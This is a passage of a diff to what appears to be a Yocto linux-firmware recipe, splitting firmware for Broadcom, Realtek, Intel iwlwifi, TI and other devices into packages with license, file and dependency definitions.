+ ${nonarch_base_libdir}/firmware/netronome/nic \
+ ${nonarch_base_libdir}/firmware/netronome/nic-sriov \
+"
+
+RDEPENDS:${PN}-netronome += "${PN}-netronome-license"
+
+# For Nvidia
+LICENSE:${PN}-nvidia-gpu = "Firmware-nvidia"
+LICENSE:${PN}-nvidia-tegra = "Firmware-nvidia"
+LICENSE:${PN}-nvidia-tegra-k1 = "Firmware-nvidia"
+LICENSE:${PN}-nvidia-license = "Firmware-nvidia"
+
+FILES:${PN}-nvidia-gpu = "${nonarch_base_libdir}/firmware/nvidia"
+FILES:${PN}-nvidia-tegra = " \
+ ${nonarch_base_libdir}/firmware/nvidia/tegra* \
+ ${nonarch_base_libdir}/firmware/nvidia/gm20b \
+ ${nonarch_base_libdir}/firmware/nvidia/gp10b \
+"
+FILES:${PN}-nvidia-tegra-k1 = " \
+ ${nonarch_base_libdir}/firmware/nvidia/tegra124 \
+ ${nonarch_base_libdir}/firmware/nvidia/gk20a \
+"
+FILES:${PN}-nvidia-license = "${nonarch_base_libdir}/firmware/LICENCE.nvidia"
+
+RDEPENDS:${PN}-nvidia-gpu += "${PN}-nvidia-license"
+RDEPENDS:${PN}-nvidia-tegra += "${PN}-nvidia-license"
+RDEPENDS:${PN}-nvidia-tegra-k1 += "${PN}-nvidia-license"
+
+# For RSI RS911x WiFi
+LICENSE:${PN}-rs9113 = "WHENCE"
+LICENSE:${PN}-rs9116 = "WHENCE"
+
+FILES:${PN}-rs9113 = " ${nonarch_base_libdir}/firmware/rsi/rs9113*.rps "
+FILES:${PN}-rs9116 = " ${nonarch_base_libdir}/firmware/rsi/rs9116*.rps "
+
+RDEPENDS:${PN}-rs9113 += "${PN}-whence-license"
+RDEPENDS:${PN}-rs9116 += "${PN}-whence-license"
+
+# For rtl
+LICENSE:${PN}-rtl8188 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8192cu = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8192ce = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8192su = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8723 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8821 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl-license = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8168 = "WHENCE"
+
+FILES:${PN}-rtl-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.rtlwifi_firmware.txt \
+"
+FILES:${PN}-rtl8188 = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8188*.bin \
+"
+FILES:${PN}-rtl8192cu = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cufw*.bin \
+"
+FILES:${PN}-rtl8192ce = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cfw*.bin \
+"
+FILES:${PN}-rtl8192su = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8712u.bin \
+"
+FILES:${PN}-rtl8723 = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8723*.bin \
+"
+FILES:${PN}-rtl8821 = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8821*.bin \
+"
+FILES:${PN}-rtl8168 = " \
+ ${nonarch_base_libdir}/firmware/rtl_nic/rtl8168*.fw \
+"
+
+RDEPENDS:${PN}-rtl8188 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8192ce += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8192cu += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8192su = "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8723 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8821 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8168 += "${PN}-whence-license"
+
+# For ti-connectivity
+LICENSE:${PN}-wlcommon = "Firmware-ti-connectivity"
+LICENSE:${PN}-wl12xx = "Firmware-ti-connectivity"
+LICENSE:${PN}-wl18xx = "Firmware-ti-connectivity"
+LICENSE:${PN}-ti-connectivity-license = "Firmware-ti-connectivity"
+
+FILES:${PN}-ti-connectivity-license = "${nonarch_base_libdir}/firmware/LICENCE.ti-connectivity"
+# wl18xx optionally needs wl1271-nvs.bin (which itself is a symlink to
+# wl127x-nvs.bin) - see linux/drivers/net/wireless/ti/wlcore/sdio.c
+# and drivers/net/wireless/ti/wlcore/spi.c.
+# While they're optional and actually only used to override the MAC
+# address on wl18xx, driver loading will delay (by udev timout - 60s)
+# if not there. So let's make it available always. Because it's a
+# symlink, both need to go to wlcommon.
+FILES:${PN}-wlcommon = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/TI* \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl127x-nvs.bin \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl1271-nvs.bin \
+"
+FILES:${PN}-wl12xx = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl12* \
+"
+FILES:${PN}-wl18xx = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl18* \
+"
+
+RDEPENDS:${PN}-wl12xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
+RDEPENDS:${PN}-wl18xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
+
+# For vt6656
+LICENSE:${PN}-vt6656 = "Firmware-via_vt6656"
+LICENSE:${PN}-vt6656-license = "Firmware-via_vt6656"
+
+FILES:${PN}-vt6656-license = "${nonarch_base_libdir}/firmware/LICENCE.via_vt6656"
+FILES:${PN}-vt6656 = " \
+ ${nonarch_base_libdir}/firmware/vntwusb.fw \
+"
+
+RDEPENDS:${PN}-vt6656 = "${PN}-vt6656-license"
+
+# For broadcom
+
+# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e " \${PN}-$pkg \\"; done | sort -u
+
+LICENSE:${PN}-broadcom-license = "Firmware-broadcom_bcm43xx"
+FILES:${PN}-broadcom-license = "${nonarch_base_libdir}/firmware/LICENCE.broadcom_bcm43xx"
+
+# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo "$i - $pkg"; echo -e "FILES:\${PN}-$pkg = \"\${nonarch_base_libdir}/firmware/brcm/$i\""; done | grep ^FILES
+
+FILES:${PN}-bcm43xx = "${nonarch_base_libdir}/firmware/brcm/bcm43xx-0.fw"
+FILES:${PN}-bcm43xx-hdr = "${nonarch_base_libdir}/firmware/brcm/bcm43xx_hdr-0.fw"
+FILES:${PN}-bcm4329-fullmac = "${nonarch_base_libdir}/firmware/brcm/bcm4329-fullmac-4.bin"
+FILES:${PN}-bcm43236b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43236b.bin"
+FILES:${PN}-bcm4329 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4329-sdio.bin"
+FILES:${PN}-bcm4330 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4330-sdio.*"
+FILES:${PN}-bcm4334 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4334-sdio.bin"
+FILES:${PN}-bcm4335 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4335-sdio.bin"
+FILES:${PN}-bcm4339 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4339-sdio.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4339-sdio.bin \
+"
+FILES:${PN}-bcm43241b0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b0-sdio.bin"
+FILES:${PN}-bcm43241b4 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b4-sdio.bin"
+FILES:${PN}-bcm43241b5 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b5-sdio.bin"
+FILES:${PN}-bcm43242a = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43242a.bin"
+FILES:${PN}-bcm43143 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43143.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac43143-sdio.bin \
+"
+FILES:${PN}-bcm43430a0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430a0-sdio.*"
+FILES:${PN}-bcm43455 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43455-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43455-sdio.* \
+"
+FILES:${PN}-bcm4350c2 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350c2-pcie.bin"
+FILES:${PN}-bcm4350 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350-pcie.bin"
+FILES:${PN}-bcm4356 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4356-sdio.* \
+"
+FILES:${PN}-bcm43569 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43569.bin"
+FILES:${PN}-bcm43570 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43570-pcie.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43570-pcie.bin \
+"
+FILES:${PN}-bcm4358 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4358-pcie.bin"
+FILES:${PN}-bcm43602 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.ap.bin \
+"
+FILES:${PN}-bcm4366b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366b-pcie.bin"
+FILES:${PN}-bcm4366c = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366c-pcie.bin"
+FILES:${PN}-bcm4371 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4371-pcie.bin"
+
+# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e "LICENSE:\${PN}-$pkg = \"Firmware-broadcom_bcm43xx\"\nRDEPENDS_\${PN}-$pkg += \"\${PN}-broadcom-license\""; done
+# Currently 1st one and last 6 have cypress LICENSE
+
+LICENSE:${PN}-bcm43xx = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43xx += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43xx-hdr = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43xx-hdr += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4329-fullmac = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4329-fullmac += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43236b = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43236b += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4329 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4329 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4330 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4330 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4334 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4334 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4335 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4335 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4339 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4339 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43241b0 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43241b0 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43241b4 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43241b4 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43241b5 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43241b5 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43242a = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43242a += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43143 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43143 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43430a0 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43430a0 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43455 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43455 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4350c2 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4350c2 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4350 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4350 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4356 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4356 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43569 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43569 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43570 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43570 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4358 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4358 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43602 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43602 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4366b = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4366b += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4366c = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4366c += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4371 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4371 += "${PN}-broadcom-license"
+
+# For broadcom cypress
+
+LICENSE:${PN}-cypress-license = "Firmware-cypress"
+FILES:${PN}-cypress-license = "${nonarch_base_libdir}/firmware/LICENCE.cypress"
+
+FILES:${PN}-bcm-0bb4-0306 = "${nonarch_base_libdir}/firmware/brcm/BCM-0bb4-0306.hcd"
+FILES:${PN}-bcm43340 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43340-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43340-sdio.*"
+FILES:${PN}-bcm43362 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43362-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43362-sdio.*"
+FILES:${PN}-bcm43430 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43430-sdio.*"
+FILES:${PN}-bcm4354 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4354-sdio.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4354-sdio.bin \
+"
+FILES:${PN}-bcm4356-pcie = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-pcie.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4356-pcie.* \
+"
+FILES:${PN}-bcm4373 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4373-sdio.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac4373.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4373-sdio.bin \
+"
+
+LICENSE:${PN}-bcm-0bb4-0306 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm-0bb4-0306 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm43340 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm43340 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm43362 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm43362 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm43430 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm43430 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm4354 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm4354 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm4356-pcie = "Firmware-cypress"
+RDEPENDS:${PN}-bcm4356-pcie += "${PN}-cypress-license"
+LICENSE:${PN}-bcm4373 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm4373 += "${PN}-cypress-license"
+
+# For Broadcom bnx2-mips
+#
+# which is a separate case to the other Broadcom firmwares since its
+# license is contained in the shared WHENCE file.
+
+LICENSE:${PN}-bnx2-mips = "WHENCE"
+LICENSE:${PN}-whence-license = "WHENCE"
+
+FILES:${PN}-bnx2-mips = "${nonarch_base_libdir}/firmware/bnx2/bnx2-mips-09-6.2.1b.fw"
+FILES:${PN}-whence-license = "${nonarch_base_libdir}/firmware/WHENCE"
+
+RDEPENDS:${PN}-bnx2-mips += "${PN}-whence-license"
+
+# For imx-sdma
+LICENSE:${PN}-imx-sdma-imx6q = "Firmware-imx-sdma_firmware"
+LICENSE:${PN}-imx-sdma-imx7d = "Firmware-imx-sdma_firmware"
+LICENSE:${PN}-imx-sdma-license = "Firmware-imx-sdma_firmware"
+
+FILES:${PN}-imx-sdma-imx6q = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx6q.bin"
+
+RPROVIDES:${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
+RREPLACES:${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
+RCONFLICTS:${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
+
+FILES:${PN}-imx-sdma-imx7d = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx7d.bin"
+
+FILES:${PN}-imx-sdma-license = "${nonarch_base_libdir}/firmware/LICENSE.sdma_firmware"
+
+RDEPENDS:${PN}-imx-sdma-imx6q += "${PN}-imx-sdma-license"
+RDEPENDS:${PN}-imx-sdma-imx7d += "${PN}-imx-sdma-license"
+
+# For iwlwifi
+LICENSE:${PN}-iwlwifi = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-135-6 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-7 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-8 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-9 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-10 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-12 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-13 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-16 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-17 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000-4 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2a-5 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2a-6 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2b-5 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2b-6 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6050-4 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6050-5 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-7260 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-7265 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-7265d = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-8000c = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-8265 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-9000 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-misc = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-license = "Firmware-iwlwifi_firmware"
+
+
+FILES:${PN}-iwlwifi-license = "${nonarch_base_libdir}/firmware/LICENCE.iwlwifi_firmware"
+FILES:${PN}-iwlwifi-135-6 = "${nonarch_base_libdir}/firmware/iwlwifi-135-6.ucode"
+FILES:${PN}-iwlwifi-3160-7 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-7.ucode"
+FILES:${PN}-iwlwifi-3160-8 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-8.ucode"
+FILES:${PN}-iwlwifi-3160-9 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-9.ucode"
+FILES:${PN}-iwlwifi-3160-10 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-10.ucode"
+FILES:${PN}-iwlwifi-3160-12 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-12.ucode"
+FILES:${PN}-iwlwifi-3160-13 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-13.ucode"
+FILES:${PN}-iwlwifi-3160-16 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-16.ucode"
+FILES:${PN}-iwlwifi-3160-17 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-17.ucode"
+FILES:${PN}-iwlwifi-6000-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6000-4.ucode"
+FILES:${PN}-iwlwifi-6000g2a-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-5.ucode"
+FILES:${PN}-iwlwifi-6000g2a-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-6.ucode"
+FILES:${PN}-iwlwifi-6000g2b-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-5.ucode"
+FILES:${PN}-iwlwifi-6000g2b-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-6.ucode"
+FILES:${PN}-iwlwifi-6050-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-4.ucode"
+FILES:${PN}-iwlwifi-6050-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-5.ucode"
+FILES:${PN}-iwlwifi-7260 = "${nonarch_base_libdir}/firmware/iwlwifi-7260-*.ucode"
+FILES:${PN}-iwlwifi-7265 = "${nonarch_base_libdir}/firmware/iwlwifi-7265-*.ucode"
+FILES:${PN}-iwlwifi-7265d = "${nonarch_base_libdir}/firmware/iwlwifi-7265D-*.ucode"
+FILES:${PN}-iwlwifi-8000c = "${nonarch_base_libdir}/firmware/iwlwifi-8000C-*.ucode"
+FILES:${PN}-iwlwifi-8265 = "${nonarch_base_libdir}/firmware/iwlwifi-8265-*.ucode"
+FILES:${PN}-iwlwifi-9000 = "${nonarch_base_libdir}/firmware/iwlwifi-9000-*.ucode"
+FILES:${PN}-iwlwifi-misc = "${nonarch_base_libdir}/firmware/iwlwifi-*.ucode"
+
+RDEPENDS:${PN}-iwlwifi-135-6 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-7 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-8 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-9 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-10 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-12 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-13 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-16 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-17 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000-4 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2a-5 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2a-6 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2b-5 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2b-6 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6050-4 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6050-5 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-7265d = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-8000c = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-8265 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-9000 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-misc = "${PN}-iwlwifi-license"
+
+# -iwlwifi-misc is a "catch all" package that includes all the iwlwifi
+# firmwares that are not already included in other -iwlwifi- packages.
+# -iwlwifi is a virtual package that depends upon all iwlwifi packages.
+# These are distinct in order to allow the -misc firmwares to be installed
+# without pulling in every other iwlwifi package.
+ALLOW_EMPTY:${PN}-iwlwifi = "1"
+ALLOW_EMPTY:${PN}-iwlwifi-misc = "1"
+
+# Handle package updating for the newly merged iwlwifi groupings
+RPROVIDES:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
+RREPLACES:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
+RCONFLICTS:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
+
+RPROVIDES:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
+RREPLACES:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
+RCONFLICTS:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
+
+# For ibt
+LICENSE:${PN}-ibt-license = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-hw-37-7 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-hw-37-8 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-11-5 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-12-16 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-17 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-20 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-misc = "Firmware-ibt_firmware"
+
+FILES:${PN}-ibt-license = "${nonarch_base_libdir}/firmware/LICENCE.ibt_firmware"
+FILES:${PN}-ibt-hw-37-7 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.7*.bseq"
+FILES:${PN}-ibt-hw-37-8 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.8*.bseq"
+FILES:${PN}-ibt-11-5 = "${nonarch_base_libdir}/firmware/intel/ibt-11-5.sfi ${nonarch_base_libdir}/firmware/intel/ibt-11-5.ddc"
+FILES:${PN}-ibt-12-16 = "${nonarch_base_libdir}/firmware/intel/ibt-12-16.sfi ${nonarch_base_libdir}/firmware/intel/ibt-12-16.ddc"
+FILES:${PN}-ibt-17 = "${nonarch_base_libdir}/firmware/intel/ibt-17-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-17-*.ddc"
+FILES:${PN}-ibt-20 = "${nonarch_base_libdir}/firmware/intel/ibt-20-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-20-*.ddc"
+FILES:${PN}-ibt-misc = "${nonarch_base_libdir}/firmware/intel/ibt-*"
+
+RDEPENDS:${PN}-ibt-hw-37-7 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-hw-37.8 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-11-5 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-12-16 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-17 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-20 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-misc = "${PN}-ibt-license"
+
+ALLOW_EMPTY:${PN}-ibt= "1"
+ALLOW_EMPTY:${PN}-ibt-misc = "1"
+
+LICENSE:${PN}-i915 = "Firmware-i915"
+LICENSE:${PN}-i915-license = "Firmware-i915"
+FILES:${PN}-i915-license = "${nonarch_base_libdir}/firmware/LICENSE.i915"
+FILES:${PN}-i915 = "${nonarch_base_libdir}/firmware/i915"
+RDEPENDS:${PN}-i915 = "${PN}-i915-license"
+
+LICENSE:${PN}-ice = "Firmware-ice"
+LICENSE:${PN}-ice-license = "Firmware-ice"
+FILES:${PN}-ice-license = "${nonarch_base_libdir}/firmware/LICENSE.ice"
+FILES:${PN}-ice = "${nonarch_base_libdir}/firmware/intel/ice"
+RDEPENDS:${PN}-ice = "${PN}-ice-license"
+
+FILES:${PN}-adsp-sst-license = "${nonarch_base_libdir}/firmware/LICENCE.adsp_sst"
+LICENSE:${PN}-adsp-sst = "Firmware-adsp_sst"
+LICENSE:${PN}-adsp-sst-license = "Firmware-adsp_sst"
